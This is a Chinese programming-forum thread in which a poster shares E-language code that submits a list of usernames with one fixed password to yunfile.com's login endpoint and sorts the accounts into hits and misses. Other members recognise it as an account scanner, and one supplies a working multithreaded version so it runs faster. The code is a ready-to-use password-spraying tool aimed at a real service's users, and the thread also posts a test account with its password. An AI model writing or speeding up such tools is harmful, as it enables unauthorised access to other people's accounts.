单线程已写好，求将其改为多线（倾我所有精币解决问题）

胖娃在线

地址：http://www.yunfile.com/
测试账号： test1234test   密码:1234569
由于急着解决问题，凡是回复的朋友都有至少20枚精币回赠。如果有多人都给出正确答案，每位朋友都会有100～500精币回报。
多谢各位高手帮助了！！！

[e]
.版本 2

.程序集 窗口程序集1

.子程序 _按钮1_被单击
.局部变量 和, 文本型
.局部变量 j, 整数型
.局部变量 POSTDATA, 文本型
.局部变量 地址, 文本型
.局部变量 返回数据, 文本型
.局部变量 账号, 文本型, , "0"
.局部变量 等级, 文本型
.局部变量 密码, 文本型

账号 ＝ 分割文本 (编辑框1.内容, #换行符, )
密码 ＝ “1234569”
.计次循环首 (取数组成员数 (账号), j)
POSTDATA ＝ “module=user&action=validateLogin&returnPath=http%3A%2F%2Fwww.yunfile.com%2Fexplorer%2Flist.html&username=” ＋ 编码_URL编码 (账号 [j], 真, 真) ＋ “&password=” ＋ 密码
返回数据 ＝ 到文本 (网页_访问 (“http://www.yunfile.com/view”, 1, , , 到字节集 (POSTDATA), , , , 1, , ))
.如果 (寻找文本 (返回数据, #常量5 ＋ 账号 [j], , 假) ≠ -1)
等级 ＝ 文本_取出中间文本 (返回数据, #常量1, #常量2, , )
编辑框4.加入文本 (“正确：” ＋ 账号 [j] ＋ “---” ＋ 密码 ＋ 等级 ＋ #换行符)
.否则
编辑框5.加入文本 (“错误：” ＋ 账号 [j] ＋ “---” ＋ 密码 ＋ #换行符)
.如果结束

.计次循环尾 ()


[/e]

ljmst

问题解决！！！！！

胖娃在线

附件在这里，主题帖子附件无法下载

瘦瘦的小四

建议参考下，QQ空间的呢些源码，有是多线程的，看看。虽然模块调用很多

二SHI兄

就是扫号器对吧  我写过不少。。。。


这是帮别人写的源码我不能发你 不过我可以教你怎么去写  {:soso_e181:}{:soso_e100:}

科学奇迹

用API还是支持库

胖娃在线

科学奇迹 发表于 2013-1-12 15:16
用API还是支持库

用API是不是还稳定一些呢？

科学奇迹

[e]
.版本 2

.程序集 窗口程序集1
.程序集变量 POSTDATA, 文本型
.程序集变量 账号, 文本型, , "0"
.程序集变量 密码, 文本型
.程序集变量 账号数量, 整数型
.程序集变量 账号指针, 整数型
.程序集变量 继续, 逻辑型

.子程序 _按钮1_被单击

继续 ＝ 真
创建扩展线程 (&子程序1, 0, 0, 0)
编辑框6.内容 ＝ 到文本 (到字节 (编辑框6.内容) ＋ 1)

.子程序 子程序1
.局部变量 返回数据, 文本型
.局部变量 等级, 文本型

.判断循环首 (账号指针 ＜ 账号数量 且 继续)
    账号指针 ＝ 账号指针 ＋ 1
    POSTDATA ＝ “module=user&action=validateLogin&returnPath=http%3A%2F%2Fwww.yunfile.com%2Fexplorer%2Flist.html&username=” ＋ 编码_URL编码 (账号 [账号指针], 真, 真) ＋ “&password=” ＋ 密码
    返回数据 ＝ 到文本 (网页_访问 (“http://www.yunfile.com/view”, 1, , , 到字节集 (POSTDATA), , , , 1, , ))
    .如果 (寻找文本 (返回数据, #常量5 ＋ 账号 [账号指针], , 假) ≠ -1)
        等级 ＝ 文本_取出中间文本 (返回数据, #常量1, #常量2, , )
        编辑框4.加入文本 (到文本 (账号指针) ＋ “正确：” ＋ 账号 [账号指针] ＋ “---” ＋ 密码 ＋ 等级 ＋ #换行符)
    .否则
        编辑框5.加入文本 (到文本 (账号指针) ＋ “错误：” ＋ 账号 [账号指针] ＋ “---” ＋ 密码 ＋ #换行符)
    .如果结束

.判断循环尾 ()



.子程序 __启动窗口_创建完毕

账号 ＝ 分割文本 (编辑框1.内容, #换行符, )
密码 ＝ “1234569”
账号数量 ＝ 取数组成员数 (账号)

.子程序 _按钮4_被单击

继续 ＝ 真

.子程序 _按钮3_被单击

继续 ＝ 假
[/e]

科学奇迹

抛砖引玉[e]
.版本 2

.程序集 窗口程序集1
.程序集变量 POSTDATA, 文本型
.程序集变量 账号, 文本型, , "0"
.程序集变量 密码, 文本型
.程序集变量 账号数量, 整数型
.程序集变量 账号指针, 整数型
.程序集变量 继续, 逻辑型

.子程序 _按钮1_被单击

继续 ＝ 真
创建扩展线程 (&子程序1, 0, 0, 0)
编辑框6.内容 ＝ 到文本 (到字节 (编辑框6.内容) ＋ 1)

.子程序 子程序1
.局部变量 返回数据, 文本型
.局部变量 等级, 文本型

.判断循环首 (账号指针 ＜ 账号数量 且 继续)
    账号指针 ＝ 账号指针 ＋ 1
    POSTDATA ＝ “module=user&action=validateLogin&returnPath=http%3A%2F%2Fwww.yunfile.com%2Fexplorer%2Flist.html&username=” ＋ 编码_URL编码 (账号 [账号指针], 真, 真) ＋ “&password=” ＋ 密码
    返回数据 ＝ 到文本 (网页_访问 (“http://www.yunfile.com/view”, 1, , , 到字节集 (POSTDATA), , , , 1, , ))
    .如果 (寻找文本 (返回数据, #常量5 ＋ 账号 [账号指针], , 假) ≠ -1)
        等级 ＝ 文本_取出中间文本 (返回数据, #常量1, #常量2, , )
        编辑框4.加入文本 (到文本 (账号指针) ＋ “正确：” ＋ 账号 [账号指针] ＋ “---” ＋ 密码 ＋ 等级 ＋ #换行符)
    .否则
        编辑框5.加入文本 (到文本 (账号指针) ＋ “错误：” ＋ 账号 [账号指针] ＋ “---” ＋ 密码 ＋ #换行符)
    .如果结束

.判断循环尾 ()



.子程序 __启动窗口_创建完毕

账号 ＝ 分割文本 (编辑框1.内容, #换行符, )
密码 ＝ “1234569”
账号数量 ＝ 取数组成员数 (账号)

.子程序 _按钮4_被单击

继续 ＝ 真

.子程序 _按钮3_被单击

继续 ＝ 假
.版本 2

.DLL命令 创建扩展线程, 整数型, "shlwapi.dll", "SHCreateThread", , , SHCreateThread
    .参数 线程地址, 子程序指针, , pfnThreadProc
    .参数 数据, 整数型, , pData，Any
    .参数 标志, 整数型, , dwFlags
    .参数 返回信息, 整数型, , pfnCallback
[/e]

胖娃在线

科学奇迹 朋友  非常感谢你用心回答问题，暂时转了300精币给您。我还正在看代码，，因为还不是太懂。。。另求其他高手的回答，，希望代码稳定，，速度快